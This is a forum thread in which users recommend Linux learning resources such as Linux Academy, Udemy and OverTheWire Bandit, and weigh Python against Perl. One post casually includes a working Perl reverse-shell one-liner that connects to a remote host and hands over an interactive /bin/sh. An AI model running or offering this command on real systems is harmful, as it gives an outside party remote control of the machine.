Linux Classes Online?

Hi, I am looking for online courses for all things linux. I have taken some Udemy courses but eeehh not realy what i’m looking for. Any suggestions from the community? Any school/education feedback is most welcome. Ty <3

Look into Linux academy, they have a lot of courses and a playground where you can get hands on experience


I’ve used Linux Academy, Udemy and YouTube. Mostly for specific services (AWS, for instance), as I started in the mid 90’s before any of this existed.

If I had to pick one, Linux Academy. It’s the one I check first.


Can you share what you wanting to learn about Linux?

Are you wanting to build skills working with Linux? If so, I can suggest Linux Academy. They allow you to stand up cloud servers ( linux ) so that you can gain hand’s on experience.

Are you looking for certification training? Everyone’s had a little different method of learning and for preparing for certs, I’ve found that well written books work best for me.

1 Like

It’s not really classes, and it might be more fun than anything else, but I’ve enjoyed wargames, and I’ve learned a few things from them. An example is OverTheWire Bandit which is a good start and becomes harder as you progress.

It won’t really teach you the “innards” of Linux, but you’ll become more familiar with the shell and learn some hacky tricks. And it’s super fun! :smiley:


I’m a pen tester that can’t program/code. It’s my kryptonite. I’ve gone this far by learning to use tools and there many options. And i’ve figured out how to edit/fix files my matching patterns of code and re-exec stuff untill there are no errors, If i were to learn the code the right way, i bet life would be so much easier. Though my funds are limited so i been trying udemy’s $12 courses and grabing free courses with udemy coupons. Any suggestions are welcome. Ty.

Oh man! Bandit is soooooooo much fun! And I got out of it what you did: I was halfway through or so and I thought, “Wait, I’m learning a TON about the command line” that I had not known or had forgotten. I’d like more of that stuff honestly – but the others I tried that were “easy” level, were seriously too hard for me.
+1 for Bandit.

1 Like

@Bare_Bones I’d recommend Python. It is really good at handling text, searching text ( with regular expression support ), reading and writing files, integration with API’s, it has really good support for HTML scrapping, many use cases for security.

Python is probably one of the easier languages to learn and there are a ton of free tutorial resources online.

tbh, i can’t stand python syntax and its white spaces, that’s why i been leaning toward perl but perl is kinda dead.

perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

I didn’t like Python at first. I came from Perl. Perl is still a great language, but is a bit dated like you said.

I’d still recommend Python, as you’re going to run across it at some point.

The hard thing about Perl is that there are so many ways to do the same thing, everyone’s code looks different. Python is the opposite. It is meant to be simple and consistent, but yet is still a powerful language.

Good luck with your search.